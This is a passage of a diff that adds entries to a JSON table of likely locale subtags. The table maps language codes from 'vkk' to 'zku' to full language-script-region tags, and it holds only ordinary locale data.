+ "vkk": "vkk-Latn-ID",
+ "vkl": "vkl-Latn-ID",
+ "vkm": "vkm-Latn-BR",
+ "vkn": "vkn-Latn-NG",
+ "vko": "vko-Latn-ID",
+ "vkp": "vkp-Latn-IN",
+ "vkp-Deva": "vkp-Deva-IN",
+ "vkt": "vkt-Latn-ID",
+ "vku": "vku-Latn-AU",
+ "vkz": "vkz-Latn-NG",
+ "vlp": "vlp-Latn-VU",
+ "vls": "vls-Latn-BE",
+ "vma": "vma-Latn-AU",
+ "vmb": "vmb-Latn-AU",
+ "vmc": "vmc-Latn-MX",
+ "vmd": "vmd-Knda-IN",
+ "vme": "vme-Latn-ID",
+ "vmf": "vmf-Latn-DE",
+ "vmg": "vmg-Latn-PG",
+ "vmh": "vmh-Arab-IR",
+ "vmi": "vmi-Latn-AU",
+ "vmj": "vmj-Latn-MX",
+ "vmk": "vmk-Latn-MZ",
+ "vml": "vml-Latn-AU",
+ "vmm": "vmm-Latn-MX",
+ "vmp": "vmp-Latn-MX",
+ "vmq": "vmq-Latn-MX",
+ "vmr": "vmr-Latn-MZ",
+ "vms": "vms-Latn-ID",
+ "vmu": "vmu-Latn-AU",
+ "vmw": "vmw-Latn-MZ",
+ "vmx": "vmx-Latn-MX",
+ "vmy": "vmy-Latn-MX",
+ "vmz": "vmz-Latn-MX",
+ "vnk": "vnk-Latn-SB",
+ "vnm": "vnm-Latn-VU",
+ "vnp": "vnp-Latn-VU",
+ "vo": "vo-Latn-001",
+ "vor": "vor-Latn-NG",
+ "vot": "vot-Latn-RU",
+ "vra": "vra-Latn-VU",
+ "vro": "vro-Latn-EE",
+ "vrs": "vrs-Latn-SB",
+ "vrt": "vrt-Latn-VU",
+ "vto": "vto-Latn-ID",
+ "vum": "vum-Latn-GA",
+ "vun": "vun-Latn-TZ",
+ "vut": "vut-Latn-ZZ",
+ "vwa": "vwa-Latn-CN",
+ "vwa-Mymr": "vwa-Mymr-CN",
+ "wa": "wa-Latn-BE",
+ "waa": "waa-Latn-US",
+ "wab": "wab-Latn-PG",
+ "wac": "wac-Latn-US",
+ "wad": "wad-Latn-ID",
+ "wae": "wae-Latn-CH",
+ "waf": "waf-Latn-BR",
+ "wag": "wag-Latn-PG",
+ "wah": "wah-Latn-ID",
+ "wai": "wai-Latn-ID",
+ "waj": "waj-Latn-ZZ",
+ "wal": "wal-Ethi-ET",
+ "wam": "wam-Latn-US",
+ "wan": "wan-Latn-ZZ",
+ "wap": "wap-Latn-GY",
+ "waq": "waq-Latn-AU",
+ "war": "war-Latn-PH",
+ "was": "was-Latn-US",
+ "wat": "wat-Latn-PG",
+ "wau": "wau-Latn-BR",
+ "wav": "wav-Latn-NG",
+ "waw": "waw-Latn-BR",
+ "wax": "wax-Latn-PG",
+ "way": "way-Latn-SR",
+ "waz": "waz-Latn-PG",
+ "wba": "wba-Latn-VE",
+ "wbb": "wbb-Latn-ID",
+ "wbe": "wbe-Latn-ID",
+ "wbf": "wbf-Latn-BF",
+ "wbh": "wbh-Latn-TZ",
+ "wbi": "wbi-Latn-TZ",
+ "wbj": "wbj-Latn-TZ",
+ "wbk": "wbk-Arab-AF",
+ "wbl": "wbl-Latn-PK",
+ "wbl-Arab": "wbl-Arab-AF",
+ "wbl-Cyrl": "wbl-Cyrl-TJ",
+ "wbm": "wbm-Latn-CN",
+ "wbp": "wbp-Latn-AU",
+ "wbq": "wbq-Telu-IN",
+ "wbr": "wbr-Deva-IN",
+ "wbt": "wbt-Latn-AU",
+ "wbv": "wbv-Latn-AU",
+ "wbw": "wbw-Latn-ID",
+ "wca": "wca-Latn-BR",
+ "wci": "wci-Latn-ZZ",
+ "wdd": "wdd-Latn-GA",
+ "wdg": "wdg-Latn-PG",
+ "wdj": "wdj-Latn-AU",
+ "wdk": "wdk-Latn-AU",
+ "wdt": "wdt-Latn-CA",
+ "wdu": "wdu-Latn-AU",
+ "wdy": "wdy-Latn-AU",
+ "wec": "wec-Latn-CI",
+ "wed": "wed-Latn-PG",
+ "weg": "weg-Latn-AU",
+ "weh": "weh-Latn-CM",
+ "wei": "wei-Latn-PG",
+ "wem": "wem-Latn-BJ",
+ "weo": "weo-Latn-ID",
+ "wep": "wep-Latn-DE",
+ "wer": "wer-Latn-ZZ",
+ "wes": "wes-Latn-CM",
+ "wet": "wet-Latn-ID",
+ "weu": "weu-Latn-MM",
+ "wew": "wew-Latn-ID",
+ "wfg": "wfg-Latn-ID",
+ "wga": "wga-Latn-AU",
+ "wgb": "wgb-Latn-PG",
+ "wgg": "wgg-Latn-AU",
+ "wgi": "wgi-Latn-ZZ",
+ "wgo": "wgo-Latn-ID",
+ "wgu": "wgu-Latn-AU",
+ "wgy": "wgy-Latn-AU",
+ "wha": "wha-Latn-ID",
+ "whg": "whg-Latn-ZZ",
+ "whk": "whk-Latn-ID",
+ "whu": "whu-Latn-ID",
+ "wib": "wib-Latn-ZZ",
+ "wic": "wic-Latn-US",
+ "wie": "wie-Latn-AU",
+ "wif": "wif-Latn-AU",
+ "wig": "wig-Latn-AU",
+ "wih": "wih-Latn-AU",
+ "wii": "wii-Latn-PG",
+ "wij": "wij-Latn-AU",
+ "wik": "wik-Latn-AU",
+ "wil": "wil-Latn-AU",
+ "wim": "wim-Latn-AU",
+ "win": "win-Latn-US",
+ "wir": "wir-Latn-BR",
+ "wiu": "wiu-Latn-ZZ",
+ "wiv": "wiv-Latn-ZZ",
+ "wiy": "wiy-Latn-US",
+ "wja": "wja-Latn-ZZ",
+ "wji": "wji-Latn-ZZ",
+ "wka": "wka-Latn-TZ",
+ "wkd": "wkd-Latn-ID",
+ "wkr": "wkr-Latn-AU",
+ "wkw": "wkw-Latn-AU",
+ "wky": "wky-Latn-AU",
+ "wla": "wla-Latn-PG",
+ "wlg": "wlg-Latn-AU",
+ "wlh": "wlh-Latn-TL",
+ "wli": "wli-Latn-ID",
+ "wlm": "wlm-Latn-GB",
+ "wlo": "wlo-Arab-ID",
+ "wlr": "wlr-Latn-VU",
+ "wls": "wls-Latn-WF",
+ "wlu": "wlu-Latn-AU",
+ "wlv": "wlv-Latn-AR",
+ "wlw": "wlw-Latn-ID",
+ "wlx": "wlx-Latn-GH",
+ "wma": "wma-Latn-NG",
+ "wmb": "wmb-Latn-AU",
+ "wmc": "wmc-Latn-PG",
+ "wmd": "wmd-Latn-BR",
+ "wme": "wme-Deva-NP",
+ "wmh": "wmh-Latn-TL",
+ "wmi": "wmi-Latn-AU",
+ "wmm": "wmm-Latn-ID",
+ "wmn": "wmn-Latn-NC",
+ "wmo": "wmo-Latn-ZZ",
+ "wms": "wms-Latn-ID",
+ "wmt": "wmt-Latn-AU",
+ "wmw": "wmw-Latn-MZ",
+ "wmw-Arab": "wmw-Arab-MZ",
+ "wmx": "wmx-Latn-PG",
+ "wnb": "wnb-Latn-PG",
+ "wnc": "wnc-Latn-ZZ",
+ "wnd": "wnd-Latn-AU",
+ "wne": "wne-Arab-PK",
+ "wng": "wng-Latn-ID",
+ "wni": "wni-Arab-KM",
+ "wnk": "wnk-Latn-ID",
+ "wnm": "wnm-Latn-AU",
+ "wnn": "wnn-Latn-AU",
+ "wno": "wno-Latn-ID",
+ "wnp": "wnp-Latn-PG",
+ "wnu": "wnu-Latn-ZZ",
+ "wnw": "wnw-Latn-US",
+ "wny": "wny-Latn-AU",
+ "wo": "wo-Latn-SN",
+ "woa": "woa-Latn-AU",
+ "wob": "wob-Latn-ZZ",
+ "woc": "woc-Latn-PG",
+ "wod": "wod-Latn-ID",
+ "woe": "woe-Latn-FM",
+ "wof": "wof-Latn-GM",
+ "wof-Arab": "wof-Arab-GM",
+ "wog": "wog-Latn-PG",
+ "woi": "woi-Latn-ID",
+ "wok": "wok-Latn-CM",
+ "wom": "wom-Latn-NG",
+ "won": "won-Latn-CD",
+ "woo": "woo-Latn-ID",
+ "wor": "wor-Latn-ID",
+ "wos": "wos-Latn-ZZ",
+ "wow": "wow-Latn-ID",
+ "wpc": "wpc-Latn-VE",
+ "wrb": "wrb-Latn-AU",
+ "wrg": "wrg-Latn-AU",
+ "wrh": "wrh-Latn-AU",
+ "wri": "wri-Latn-AU",
+ "wrk": "wrk-Latn-AU",
+ "wrl": "wrl-Latn-AU",
+ "wrm": "wrm-Latn-AU",
+ "wro": "wro-Latn-AU",
+ "wrp": "wrp-Latn-ID",
+ "wrr": "wrr-Latn-AU",
+ "wrs": "wrs-Latn-ZZ",
+ "wru": "wru-Latn-ID",
+ "wrv": "wrv-Latn-PG",
+ "wrw": "wrw-Latn-AU",
+ "wrx": "wrx-Latn-ID",
+ "wrz": "wrz-Latn-AU",
+ "wsa": "wsa-Latn-ID",
+ "wsg": "wsg-Gong-IN",
+ "wsi": "wsi-Latn-VU",
+ "wsk": "wsk-Latn-ZZ",
+ "wsr": "wsr-Latn-PG",
+ "wss": "wss-Latn-GH",
+ "wsu": "wsu-Latn-BR",
+ "wsv": "wsv-Arab-AF",
+ "wtf": "wtf-Latn-PG",
+ "wth": "wth-Latn-AU",
+ "wti": "wti-Latn-ET",
+ "wtk": "wtk-Latn-PG",
+ "wtm": "wtm-Deva-IN",
+ "wtw": "wtw-Latn-ID",
+ "wtw-Bugi": "wtw-Bugi-ID",
+ "wua": "wua-Latn-AU",
+ "wub": "wub-Latn-AU",
+ "wud": "wud-Latn-TG",
+ "wul": "wul-Latn-ID",
+ "wum": "wum-Latn-GA",
+ "wun": "wun-Latn-TZ",
+ "wur": "wur-Latn-AU",
+ "wut": "wut-Latn-PG",
+ "wuu": "wuu-Hans-CN",
+ "wuv": "wuv-Latn-ZZ",
+ "wux": "wux-Latn-AU",
+ "wuy": "wuy-Latn-ID",
+ "wwa": "wwa-Latn-ZZ",
+ "wwb": "wwb-Latn-AU",
+ "wwo": "wwo-Latn-VU",
+ "wwr": "wwr-Latn-AU",
+ "www": "www-Latn-CM",
+ "wxw": "wxw-Latn-AU",
+ "wyb": "wyb-Latn-AU",
+ "wyi": "wyi-Latn-AU",
+ "wym": "wym-Latn-PL",
+ "wyn": "wyn-Latn-US",
+ "wyr": "wyr-Latn-BR",
+ "wyy": "wyy-Latn-FJ",
+ "xaa": "xaa-Latn-ES",
+ "xab": "xab-Latn-NG",
+ "xai": "xai-Latn-BR",
+ "xaj": "xaj-Latn-BR",
+ "xak": "xak-Latn-VE",
+ "xal": "xal-Cyrl-RU",
+ "xam": "xam-Latn-ZA",
+ "xan": "xan-Ethi-ET",
+ "xao": "xao-Latn-VN",
+ "xar": "xar-Latn-PG",
+ "xas": "xas-Cyrl-RU",
+ "xat": "xat-Latn-BR",
+ "xau": "xau-Latn-ID",
+ "xav": "xav-Latn-BR",
+ "xaw": "xaw-Latn-US",
+ "xay": "xay-Latn-ID",
+ "xbb": "xbb-Latn-AU",
+ "xbd": "xbd-Latn-AU",
+ "xbe": "xbe-Latn-AU",
+ "xbg": "xbg-Latn-AU",
+ "xbi": "xbi-Latn-ZZ",
+ "xbj": "xbj-Latn-AU",
+ "xbm": "xbm-Latn-FR",
+ "xbn": "xbn-Latn-MY",
+ "xbp": "xbp-Latn-AU",
+ "xbr": "xbr-Latn-ID",
+ "xbw": "xbw-Latn-BR",
+ "xby": "xby-Latn-AU",
+ "xch": "xch-Latn-US",
+ "xco": "xco-Chrs-UZ",
+ "xcr": "xcr-Cari-TR",
+ "xda": "xda-Latn-AU",
+ "xdk": "xdk-Latn-AU",
+ "xdo": "xdo-Latn-AO",
+ "xdq": "xdq-Cyrl-RU",
+ "xdy": "xdy-Latn-ID",
+ "xed": "xed-Latn-CM",
+ "xeg": "xeg-Latn-ZA",
+ "xem": "xem-Latn-ID",
+ "xer": "xer-Latn-BR",
+ "xes": "xes-Latn-ZZ",
+ "xet": "xet-Latn-BR",
+ "xeu": "xeu-Latn-PG",
+ "xgb": "xgb-Latn-CI",
+ "xgd": "xgd-Latn-AU",
+ "xgg": "xgg-Latn-AU",
+ "xgi": "xgi-Latn-AU",
+ "xgm": "xgm-Latn-AU",
+ "xgu": "xgu-Latn-AU",
+ "xgw": "xgw-Latn-AU",
+ "xh": "xh-Latn-ZA",
+ "xhe": "xhe-Arab-PK",
+ "xhm": "xhm-Khmr-KH",
+ "xhv": "xhv-Latn-VN",
+ "xii": "xii-Latn-ZA",
+ "xin": "xin-Latn-GT",
+ "xir": "xir-Latn-BR",
+ "xis": "xis-Orya-IN",
+ "xiy": "xiy-Latn-BR",
+ "xjb": "xjb-Latn-AU",
+ "xjt": "xjt-Latn-AU",
+ "xka": "xka-Arab-PK",
+ "xkb": "xkb-Latn-BJ",
+ "xkc": "xkc-Arab-IR",
+ "xkd": "xkd-Latn-ID",
+ "xke": "xke-Latn-ID",
+ "xkg": "xkg-Latn-ML",
+ "xkj": "xkj-Arab-IR",
+ "xkl": "xkl-Latn-ID",
+ "xkn": "xkn-Latn-ID",
+ "xkp": "xkp-Arab-IR",
+ "xkq": "xkq-Latn-ID",
+ "xkr": "xkr-Latn-BR",
+ "xks": "xks-Latn-ID",
+ "xkt": "xkt-Latn-GH",
+ "xku": "xku-Latn-CG",
+ "xkv": "xkv-Latn-BW",
+ "xkw": "xkw-Latn-ID",
+ "xkx": "xkx-Latn-PG",
+ "xky": "xky-Latn-MY",
+ "xkz": "xkz-Latn-BT",
+ "xla": "xla-Latn-ZZ",
+ "xlc": "xlc-Lyci-TR",
+ "xld": "xld-Lydi-TR",
+ "xly": "xly-Elym-IR",
+ "xma": "xma-Latn-SO",
+ "xmb": "xmb-Latn-CM",
+ "xmc": "xmc-Latn-MZ",
+ "xmd": "xmd-Latn-CM",
+ "xmf": "xmf-Geor-GE",
+ "xmg": "xmg-Latn-CM",
+ "xmh": "xmh-Latn-AU",
+ "xmj": "xmj-Latn-CM",
+ "xmm": "xmm-Latn-ID",
+ "xmn": "xmn-Mani-CN",
+ "xmo": "xmo-Latn-BR",
+ "xmp": "xmp-Latn-AU",
+ "xmq": "xmq-Latn-AU",
+ "xmr": "xmr-Merc-SD",
+ "xmt": "xmt-Latn-ID",
+ "xmu": "xmu-Latn-AU",
+ "xmv": "xmv-Latn-MG",
+ "xmw": "xmw-Latn-MG",
+ "xmx": "xmx-Latn-ID",
+ "xmy": "xmy-Latn-AU",
+ "xmz": "xmz-Latn-ID",
+ "xna": "xna-Narb-SA",
+ "xnb": "xnb-Latn-TW",
+ "xni": "xni-Latn-AU",
+ "xnj": "xnj-Latn-TZ",
+ "xnk": "xnk-Latn-AU",
+ "xnm": "xnm-Latn-AU",
+ "xnn": "xnn-Latn-PH",
+ "xnq": "xnq-Latn-MZ",
+ "xnr": "xnr-Deva-IN",
+ "xnt": "xnt-Latn-US",
+ "xnu": "xnu-Latn-AU",
+ "xny": "xny-Latn-AU",
+ "xnz": "xnz-Latn-EG",
+ "xnz-Arab": "xnz-Arab-EG",
+ "xoc": "xoc-Latn-NG",
+ "xod": "xod-Latn-ID",
+ "xog": "xog-Latn-UG",
+ "xoi": "xoi-Latn-PG",
+ "xok": "xok-Latn-BR",
+ "xom": "xom-Latn-SD",
+ "xom-Ethi": "xom-Ethi-ET",
+ "xon": "xon-Latn-ZZ",
+ "xoo": "xoo-Latn-BR",
+ "xop": "xop-Latn-PG",
+ "xor": "xor-Latn-BR",
+ "xow": "xow-Latn-PG",
+ "xpa": "xpa-Latn-AU",
+ "xpb": "xpb-Latn-AU",
+ "xpd": "xpd-Latn-AU",
+ "xpf": "xpf-Latn-AU",
+ "xpg": "xpg-Grek-TR",
+ "xph": "xph-Latn-AU",
+ "xpi": "xpi-Ogam-GB",
+ "xpj": "xpj-Latn-AU",
+ "xpk": "xpk-Latn-BR",
+ "xpl": "xpl-Latn-AU",
+ "xpm": "xpm-Cyrl-RU",
+ "xpn": "xpn-Latn-BR",
+ "xpo": "xpo-Latn-MX",
+ "xpq": "xpq-Latn-US",
+ "xpr": "xpr-Prti-IR",
+ "xpt": "xpt-Latn-AU",
+ "xpv": "xpv-Latn-AU",
+ "xpw": "xpw-Latn-AU",
+ "xpx": "xpx-Latn-AU",
+ "xpz": "xpz-Latn-AU",
+ "xra": "xra-Latn-BR",
+ "xrb": "xrb-Latn-ZZ",
+ "xrd": "xrd-Latn-AU",
+ "xre": "xre-Latn-BR",
+ "xrg": "xrg-Latn-AU",
+ "xri": "xri-Latn-BR",
+ "xrm": "xrm-Cyrl-RU",
+ "xrn": "xrn-Cyrl-RU",
+ "xrr": "xrr-Latn-IT",
+ "xru": "xru-Latn-AU",
+ "xrw": "xrw-Latn-PG",
+ "xsa": "xsa-Sarb-YE",
+ "xsb": "xsb-Latn-PH",
+ "xse": "xse-Latn-ID",
+ "xsh": "xsh-Latn-NG",
+ "xsi": "xsi-Latn-ZZ",
+ "xsm": "xsm-Latn-ZZ",
+ "xsn": "xsn-Latn-NG",
+ "xsp": "xsp-Latn-PG",
+ "xsq": "xsq-Latn-MZ",
+ "xsr": "xsr-Deva-NP",
+ "xss": "xss-Cyrl-RU",
+ "xsu": "xsu-Latn-VE",
+ "xsy": "xsy-Latn-TW",
+ "xta": "xta-Latn-MX",
+ "xtb": "xtb-Latn-MX",
+ "xtc": "xtc-Latn-SD",
+ "xtd": "xtd-Latn-MX",
+ "xte": "xte-Latn-ID",
+ "xth": "xth-Latn-AU",
+ "xti": "xti-Latn-MX",
+ "xtj": "xtj-Latn-MX",
+ "xtl": "xtl-Latn-MX",
+ "xtm": "xtm-Latn-MX",
+ "xtn": "xtn-Latn-MX",
+ "xtp": "xtp-Latn-MX",
+ "xts": "xts-Latn-MX",
+ "xtt": "xtt-Latn-MX",
+ "xtu": "xtu-Latn-MX",
+ "xtv": "xtv-Latn-AU",
+ "xtw": "xtw-Latn-BR",
+ "xty": "xty-Latn-MX",
+ "xub": "xub-Taml-IN",
+ "xub-Knda": "xub-Knda-IN",
+ "xub-Mlym": "xub-Mlym-IN",
+ "xud": "xud-Latn-AU",
+ "xuj": "xuj-Taml-IN",
+ "xul": "xul-Latn-AU",
+ "xum": "xum-Latn-IT",
+ "xum-Ital": "xum-Ital-IT",
+ "xun": "xun-Latn-AU",
+ "xuo": "xuo-Latn-TD",
+ "xut": "xut-Latn-AU",
+ "xuu": "xuu-Latn-NA",
+ "xve": "xve-Ital-IT",
+ "xvi": "xvi-Arab-AF",
+ "xvn": "xvn-Latn-ES",
+ "xvo": "xvo-Latn-IT",
+ "xvs": "xvs-Latn-IT",
+ "xwa": "xwa-Latn-BR",
+ "xwd": "xwd-Latn-AU",
+ "xwe": "xwe-Latn-ZZ",
+ "xwj": "xwj-Latn-AU",
+ "xwk": "xwk-Latn-AU",
+ "xwl": "xwl-Latn-BJ",
+ "xwo": "xwo-Cyrl-RU",
+ "xwr": "xwr-Latn-ID",
+ "xwt": "xwt-Latn-AU",
+ "xww": "xww-Latn-AU",
+ "xxb": "xxb-Latn-GH",
+ "xxk": "xxk-Latn-ID",
+ "xxm": "xxm-Latn-AU",
+ "xxr": "xxr-Latn-BR",
+ "xxt": "xxt-Latn-ID",
+ "xya": "xya-Latn-AU",
+ "xyb": "xyb-Latn-AU",
+ "xyj": "xyj-Latn-AU",
+ "xyk": "xyk-Latn-AU",
+ "xyl": "xyl-Latn-BR",
+ "xyt": "xyt-Latn-AU",
+ "xyy": "xyy-Latn-AU",
+ "xzh": "xzh-Marc-CN",
+ "xzp": "xzp-Latn-MX",
+ "yaa": "yaa-Latn-PE",
+ "yab": "yab-Latn-BR",
+ "yac": "yac-Latn-ID",
+ "yad": "yad-Latn-PE",
+ "yae": "yae-Latn-VE",
+ "yaf": "yaf-Latn-CD",
+ "yag": "yag-Latn-CL",
+ "yai": "yai-Cyrl-TJ",
+ "yaj": "yaj-Latn-CF",
+ "yak": "yak-Latn-US",
+ "yal": "yal-Latn-GN",
+ "yal-Arab": "yal-Arab-GN",
+ "yam": "yam-Latn-ZZ",
+ "yan": "yan-Latn-NI",
+ "yao": "yao-Latn-MZ",
+ "yap": "yap-Latn-FM",
+ "yaq": "yaq-Latn-MX",
+ "yar": "yar-Latn-VE",
+ "yas": "yas-Latn-ZZ",
+ "yat": "yat-Latn-ZZ",
+ "yau": "yau-Latn-VE",
+ "yav": "yav-Latn-CM",
+ "yaw": "yaw-Latn-BR",
+ "yax": "yax-Latn-AO",
+ "yay": "yay-Latn-ZZ",
+ "yaz": "yaz-Latn-ZZ",
+ "yba": "yba-Latn-ZZ",
+ "ybb": "ybb-Latn-CM",
+ "ybe": "ybe-Latn-CN",
+ "ybe-Ougr": "ybe-Ougr-CN",
+ "ybh": "ybh-Deva-NP",
+ "ybi": "ybi-Deva-NP",
+ "ybj": "ybj-Latn-NG",
+ "ybl": "ybl-Latn-NG",
+ "ybm": "ybm-Latn-PG",
+ "ybn": "ybn-Latn-BR",
+ "ybo": "ybo-Latn-PG",
+ "ybx": "ybx-Latn-PG",
+ "yby": "yby-Latn-ZZ",
+ "ycl": "ycl-Latn-CN",
+ "ycn": "ycn-Latn-CO",
+ "yda": "yda-Latn-AU",
+ "yde": "yde-Latn-PG",
+ "ydg": "ydg-Arab-PK",
+ "ydk": "ydk-Latn-PG",
+ "yea": "yea-Mlym-IN",
+ "yea-Knda": "yea-Knda-IN",
+ "yec": "yec-Latn-DE",
+ "yee": "yee-Latn-PG",
+ "yei": "yei-Latn-CM",
+ "yej": "yej-Grek-IL",
+ "yel": "yel-Latn-CD",
+ "yer": "yer-Latn-ZZ",
+ "yes": "yes-Latn-NG",
+ "yet": "yet-Latn-ID",
+ "yeu": "yeu-Telu-IN",
+ "yev": "yev-Latn-PG",
+ "yey": "yey-Latn-BW",
+ "yga": "yga-Latn-AU",
+ "ygi": "ygi-Latn-AU",
+ "ygl": "ygl-Latn-PG",
+ "ygm": "ygm-Latn-PG",
+ "ygp": "ygp-Plrd-CN",
+ "ygr": "ygr-Latn-ZZ",
+ "ygu": "ygu-Latn-AU",
+ "ygw": "ygw-Latn-ZZ",
+ "yhd": "yhd-Hebr-IL",
+ "yi": "yi-Hebr-001",
+ "yia": "yia-Latn-AU",
+ "yig": "yig-Yiii-CN",
+ "yih": "yih-Hebr-DE",
+ "yii": "yii-Latn-AU",
+ "yij": "yij-Latn-AU",
+ "yil": "yil-Latn-AU",
+ "yim": "yim-Latn-IN",
+ "yir": "yir-Latn-ID",
+ "yis": "yis-Latn-PG",
+ "yiv": "yiv-Yiii-CN",
+ "yka": "yka-Latn-PH",
+ "yka-Arab": "yka-Arab-PH",
+ "ykg": "ykg-Cyrl-RU",
+ "yki": "yki-Latn-ID",
+ "ykk": "ykk-Latn-PG",
+ "ykm": "ykm-Latn-PG",
+ "yko": "yko-Latn-ZZ",
+ "ykr": "ykr-Latn-PG",
+ "yky": "yky-Latn-CF",
+ "yla": "yla-Latn-PG",
+ "ylb": "ylb-Latn-PG",
+ "yle": "yle-Latn-ZZ",
+ "ylg": "ylg-Latn-ZZ",
+ "yli": "yli-Latn-ID",
+ "yll": "yll-Latn-ZZ",
+ "ylr": "ylr-Latn-AU",
+ "ylu": "ylu-Latn-PG",
+ "yly": "yly-Latn-NC",
+ "ymb": "ymb-Latn-PG",
+ "yme": "yme-Latn-PE",
+ "ymg": "ymg-Latn-CD",
+ "ymk": "ymk-Latn-MZ",
+ "ymk-Arab": "ymk-Arab-MZ",
+ "yml": "yml-Latn-ZZ",
+ "ymm": "ymm-Latn-SO",
+ "ymn": "ymn-Latn-ID",
+ "ymo": "ymo-Latn-PG",
+ "ymp": "ymp-Latn-PG",
+ "yna": "yna-Plrd-CN",
+ "ynd": "ynd-Latn-AU",
+ "yng": "yng-Latn-CD",
+ "ynk": "ynk-Cyrl-RU",
+ "ynl": "ynl-Latn-PG",
+ "ynq": "ynq-Latn-NG",
+ "yns": "yns-Latn-CD",
+ "ynu": "ynu-Latn-CO",
+ "yo": "yo-Latn-NG",
+ "yob": "yob-Latn-PG",
+ "yog": "yog-Latn-PH",
+ "yoi": "yoi-Jpan-JP",
+ "yok": "yok-Latn-US",
+ "yol": "yol-Latn-GB",
+ "yom": "yom-Latn-CD",
+ "yon": "yon-Latn-ZZ",
+ "yot": "yot-Latn-NG",
+ "yoy": "yoy-Thai-TH",
+ "yra": "yra-Latn-PG",
+ "yrb": "yrb-Latn-ZZ",
+ "yre": "yre-Latn-ZZ",
+ "yrk": "yrk-Cyrl-RU",
+ "yrl": "yrl-Latn-BR",
+ "yrm": "yrm-Latn-AU",
+ "yro": "yro-Latn-BR",
+ "yrs": "yrs-Latn-ID",
+ "yrw": "yrw-Latn-PG",
+ "yry": "yry-Latn-AU",
+ "ysd": "ysd-Yiii-CN",
+ "ysn": "ysn-Yiii-CN",
+ "ysp": "ysp-Yiii-CN",
+ "ysr": "ysr-Cyrl-RU",
+ "yss": "yss-Latn-ZZ",
+ "ysy": "ysy-Plrd-CN",
+ "ytw": "ytw-Latn-PG",
+ "yty": "yty-Latn-AU",
+ "yua": "yua-Latn-MX",
+ "yub": "yub-Latn-AU",
+ "yuc": "yuc-Latn-US",
+ "yud": "yud-Hebr-IL",
+ "yue": "yue-Hant-HK",
+ "yue-CN": "yue-Hans-CN",
+ "yue-Hans": "yue-Hans-CN",
+ "yuf": "yuf-Latn-US",
+ "yug": "yug-Cyrl-RU",
+ "yui": "yui-Latn-CO",
+ "yuj": "yuj-Latn-ZZ",
+ "yul": "yul-Latn-CF",
+ "yum": "yum-Latn-US",
+ "yun": "yun-Latn-NG",
+ "yup": "yup-Latn-CO",
+ "yuq": "yuq-Latn-BO",
+ "yur": "yur-Latn-US",
+ "yut": "yut-Latn-ZZ",
+ "yuw": "yuw-Latn-ZZ",
+ "yux": "yux-Cyrl-RU",
+ "yuz": "yuz-Latn-BO",
+ "yva": "yva-Latn-ID",
+ "yvt": "yvt-Latn-VE",
+ "ywa": "ywa-Latn-PG",
+ "ywg": "ywg-Latn-AU",
+ "ywn": "ywn-Latn-BR",
+ "ywq": "ywq-Plrd-CN",
+ "ywq-Yiii": "ywq-Yiii-CN",
+ "ywr": "ywr-Latn-AU",
+ "ywu": "ywu-Plrd-CN",
+ "ywu-Yiii": "ywu-Yiii-CN",
+ "yww": "yww-Latn-AU",
+ "yxa": "yxa-Latn-AU",
+ "yxg": "yxg-Latn-AU",
+ "yxl": "yxl-Latn-AU",
+ "yxm": "yxm-Latn-AU",
+ "yxu": "yxu-Latn-AU",
+ "yxy": "yxy-Latn-AU",
+ "yyr": "yyr-Latn-AU",
+ "yyu": "yyu-Latn-PG",
+ "za": "za-Latn-CN",
+ "zaa": "zaa-Latn-MX",
+ "zab": "zab-Latn-MX",
+ "zac": "zac-Latn-MX",
+ "zad": "zad-Latn-MX",
+ "zae": "zae-Latn-MX",
+ "zaf": "zaf-Latn-MX",
+ "zag": "zag-Latn-SD",
+ "zah": "zah-Latn-NG",
+ "zaj": "zaj-Latn-TZ",
+ "zak": "zak-Latn-TZ",
+ "zam": "zam-Latn-MX",
+ "zao": "zao-Latn-MX",
+ "zap": "zap-Latn-MX",
+ "zaq": "zaq-Latn-MX",
+ "zar": "zar-Latn-MX",
+ "zas": "zas-Latn-MX",
+ "zat": "zat-Latn-MX",
+ "zau": "zau-Tibt-IN",
+ "zau-Arab": "zau-Arab-IN",
+ "zav": "zav-Latn-MX",
+ "zaw": "zaw-Latn-MX",
+ "zax": "zax-Latn-MX",
+ "zay": "zay-Latn-ET",
+ "zay-Ethi": "zay-Ethi-ET",
+ "zaz": "zaz-Latn-NG",
+ "zba": "zba-Arab-001",
+ "zbc": "zbc-Latn-MY",
+ "zbe": "zbe-Latn-MY",
+ "zbt": "zbt-Latn-ID",
+ "zbu": "zbu-Latn-NG",
+ "zbw": "zbw-Latn-MY",
+ "zca": "zca-Latn-MX",
+ "zch": "zch-Hani-CN",
+ "zdj": "zdj-Arab-KM",
+ "zea": "zea-Latn-NL",
+ "zeg": "zeg-Latn-PG",
+ "zeh": "zeh-Hani-CN",
+ "zen": "zen-Tfng-MR",
+ "zen-Arab": "zen-Arab-MR",
+ "zga": "zga-Latn-TZ",
+ "zgb": "zgb-Hani-CN",
+ "zgh": "zgh-Tfng-MA",
+ "zgm": "zgm-Hani-CN",
+ "zgn": "zgn-Hani-CN",
+ "zgr": "zgr-Latn-PG",
+ "zh": "zh-Hans-CN",
+ "zh-AU": "zh-Hant-AU",
+ "zh-BN": "zh-Hant-BN",
+ "zh-Bopo": "zh-Bopo-TW",
+ "zh-GB": "zh-Hant-GB",
+ "zh-GF": "zh-Hant-GF",
+ "zh-HK": "zh-Hant-HK",
+ "zh-Hanb": "zh-Hanb-TW",
+ "zh-Hant": "zh-Hant-TW",
+ "zh-ID": "zh-Hant-ID",
+ "zh-MO": "zh-Hant-MO",
+ "zh-PA": "zh-Hant-PA",
+ "zh-PF": "zh-Hant-PF",
+ "zh-PH": "zh-Hant-PH",
+ "zh-SR": "zh-Hant-SR",
+ "zh-TH": "zh-Hant-TH",
+ "zh-TW": "zh-Hant-TW",
+ "zh-US": "zh-Hant-US",
+ "zh-VN": "zh-Hant-VN",
+ "zhd": "zhd-Hani-CN",
+ "zhd-Latn": "zhd-Latn-VN",
+ "zhi": "zhi-Latn-NG",
+ "zhn": "zhn-Latn-CN",
+ "zhn-Hani": "zhn-Hani-CN",
+ "zhw": "zhw-Latn-CM",
+ "zhx": "zhx-Nshu-CN",
+ "zia": "zia-Latn-ZZ",
+ "zik": "zik-Latn-PG",
+ "zil": "zil-Latn-GN",
+ "zim": "zim-Latn-TD",
+ "zin": "zin-Latn-TZ",
+ "ziw": "ziw-Latn-TZ",
+ "ziz": "ziz-Latn-NG",
+ "zka": "zka-Latn-ID",
+ "zkb": "zkb-Cyrl-RU",
+ "zkd": "zkd-Latn-MM",
+ "zko": "zko-Cyrl-RU",
+ "zkp": "zkp-Latn-BR",
+ "zkt": "zkt-Kits-CN",
+ "zku": "zku-Latn-AU",
